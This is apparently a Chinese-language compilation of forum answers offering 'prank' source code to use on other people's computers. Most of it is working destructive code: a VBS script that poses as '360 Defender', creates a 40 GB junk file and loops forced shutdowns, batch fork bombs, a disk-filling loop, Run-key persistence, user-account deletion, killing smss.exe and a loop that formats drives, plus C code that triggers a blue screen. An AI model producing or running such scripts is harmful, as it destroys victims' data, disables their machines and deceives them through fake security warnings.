整人源碼
① 求大量VBS整人代碼.
大量的樓上已經說了。這個是本人原創，親測有用。毒性嘛，就是會燒CPU，然後在這個vbs旁邊創建一大堆垃圾文件（請准備好30G空間）【具體在代碼中】
僅供惡搞娛樂和研究，沒有攻擊任何人，組織的意圖。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革廠倒閉了.mp3》請准備好放在D:\
msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fone.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因為這個游戲涉及非法內容，所以您的電腦將在60秒後自動關機"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（「滾」已復制到剪貼板，可以粘貼。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，現在您可以下載360安全衛士來殺毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎麼這么懶呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"
msgbox "游戲規則：在開始後，請及時點擊 「確定」 鍵來取消關機。"+chr(13)+"現在您可以把這個窗口x掉，或者點擊確定，來開始游戲。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消關機",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鴻禕表示無語。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問題的",vbokonly,"360 Defender"
msgbox "自己探尋吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滾" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滾" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由於您在說廢話，但是您一定不想浪費時間說廢話，所以該電腦對您有害。浪費別人時間就是謀財害命 ( 魯迅 ) 。360積極維護您的財產權和生命健康權，決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現在先把C盤給抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盤的過程中，您的電腦將會重啟數次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
② 求易語言整人源碼（可以禁止任務管理器、關機後依舊打開、處於窗口最前端且滑鼠不能移開窗口）
這個不需要我給你做的，已在網上搜索易語言的鎖屏源碼有很多，基本上後面都有注釋，像「XXXXXXXX'禁止任務管理器」這種話或是「'全屏」,把一整行都復制下來，格式不變，復制到你的程序里就行了，從別的程序里挑選功能，一般我都是上「易語言資源網」，東西多，你網路一下就行了，要是還不會就追問我吧。
例：
_啟動窗口.移動(0,0,取屏幕寬度(),取屏幕高度())'全屏
③ 易語言整人軟體的源碼（因為用手機看的，請不要把源碼截圖，否則看不到，要准確的源碼）
.版本 2
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
運行 (「shutdown -s -t 100」, 假, 1)
.子程序 _按鈕1_被單擊
.如果真 (編輯框1.內容 ＝ 「1」)
運行 (「shutdown -a」, 假, 1)
返回 ()
.如果真結束
信息框 (「電腦即將關機」, 4096 ＋ 48, 「友情提醒：」)
以上方法，任務管理器和Alt+f4都關不掉，你可以放心，
我設置的是100秒關機，如果不懂基本DOS命令的話最好設置20秒或30秒
讓自己有關機時間。
編輯框中輸入「1」按一下按鈕1，就會結束關機
關掉軟體沒用，還會繼續關機。
④ 易語言求一個整人源碼，就是別人打開之後電腦就注銷了，輸入密碼才能登陸，而卻用戶名也可以改的那種、
要登陸名也能改那種，必需把administrator這個用戶名密碼改了才可能出現那個改用戶名的框。否則不可能。或者你得多建個用戶。才有選擇用戶的界面。
要注銷他其實很簡單。
方法1：運行("shutdown -l")' 注銷
方法2：運行快捷鍵WIN+L
⑤ bat整人代碼
注意條款：全部代碼沒有正常解除方式，會對機器造成傷害，在實體機上實驗概不負責！
@echo off
echo 開始
:2
start cmd.exe
goto 2
就是主要是利用goto 來跳轉到:2
循環跳轉...就是循環用start 打開CMD ^^
友情提示...死機不負責.......
也可以利用
別的
@echo off
net user
%0
這里的核心是%0 他表示本身 就是循環運行本身^^
這里循環運行net user
上面主要把別人電腦整死機
下面我們利用修改注冊表來惡整
常見修改注冊表
就是開機載入 這世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(開機載入文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(這里是開機載入文件的路徑)
這里可以添加一個開始我們弄的哪個strat 這個
@echo off
echo echo 開始 >c:\windows\cnhacker.bat
echo :2 >>c:\windows\cnhacker.bat
echo start cmd.exe >>c:\windows\cnhacker.bat
echo goto 2>>c:\windows\cnhacker.bat
這里自動在windows下生成cnhacker.bat
然後利用上面開機載入 寫起...就OK拉
修改IE欄
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主頁那裡
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
簡單硬碟炸彈(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji >C:\%a%.txt
goto 22
如何要效果好 最好加一段vbs代碼 隱藏運行 在C盤製造大量的垃圾TXT文件
修改不電腦顯示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢復
這段大家不要實驗......
就是利用%username%
net user %username% /del (刪除當前使用的用戶 不可以直接刪除ADMINISTRATOR用戶外)
造成你電腦上面ADMINISTRATOR桌面資料丟失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
強行結束smss.exe 進程
ntsd -c q -pn smss.exe (結束該進程你的電腦即將卡死滑鼠不能用)
shutdown -a (放棄關閉計算機)
危險不要實驗
迅速格式所有盤符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
這個必須要利用記事本保存 然後.bat 才能夠執行 在CMD下面 無法執行
這些都是病毒常見修改注冊表的位置和腳本喜歡改的地方...比較常見!~~
顏色屬性由兩個十六進制數字指定 --
第一個為背景，第二個則為前景。
每個數字可以為以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字體
0 = 黑色 8 = 灰色
1 = 藍色 9 = 淡藍色
2 = 綠色 A = 淡綠色
3 = 湖藍色 B = 淡淺綠色
4 = 紅色 C = 淡紅色
5 = 紫色 D = 淡紫色
6 = 黃色 E = 淡黃色
7 = 白色 F = 亮白色
⑥ 求一個C語言整人代碼！！！
先上代碼
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
運行這段代碼首先會花屏並閃屏，一分鍾後藍屏。
效果圖：
⑦ 求易語言最新整蠱源碼
設置自動運行（「文件名」，「文件全路徑」，#介面常量。到注冊表） 延時（30000） 關閉系統（#關機） 運用這些代碼整人足夠了，只要沒有還原精靈，結果接是開機關機，哈哈，歡迎追問
⑧ 這個VBS整人代碼的威力
根據源碼，是打算冒出一個框之後再無限循環執行dos命令「cmd /cecho」，但是沒用呀，你又看不到這個CMD的命令
ws.run"cmd /cecho " ,0,true
這一句的數字0的意思是隱藏執行窗口。
而後面的那個true的意思是要等前面打開的CMD運行完畢關閉了再運行下一個CMD。
這個腳本沒有威力。
如果你只是想知道這個腳本的作用，我只能說這個屬於整人系列腳本，但是沒什麼威力可言。
如果你需要一個更簡單更厲害的，請參考下面這個。
setws=createobject("wscript.shell")
fori=0to10
ws.runwscript.scriptfullname,0
next
msgbox"！！！無限彈窗開啟！！！",,"【happy禾和專業打造】"以上腳本在運行前請做好強制關機的准備。會死機。
以上腳本僅供參考，幫助你認識vbs的。但請不要隨便讓別人運行，強制關機意味著之前的一段工作全部泡湯。
有事追問。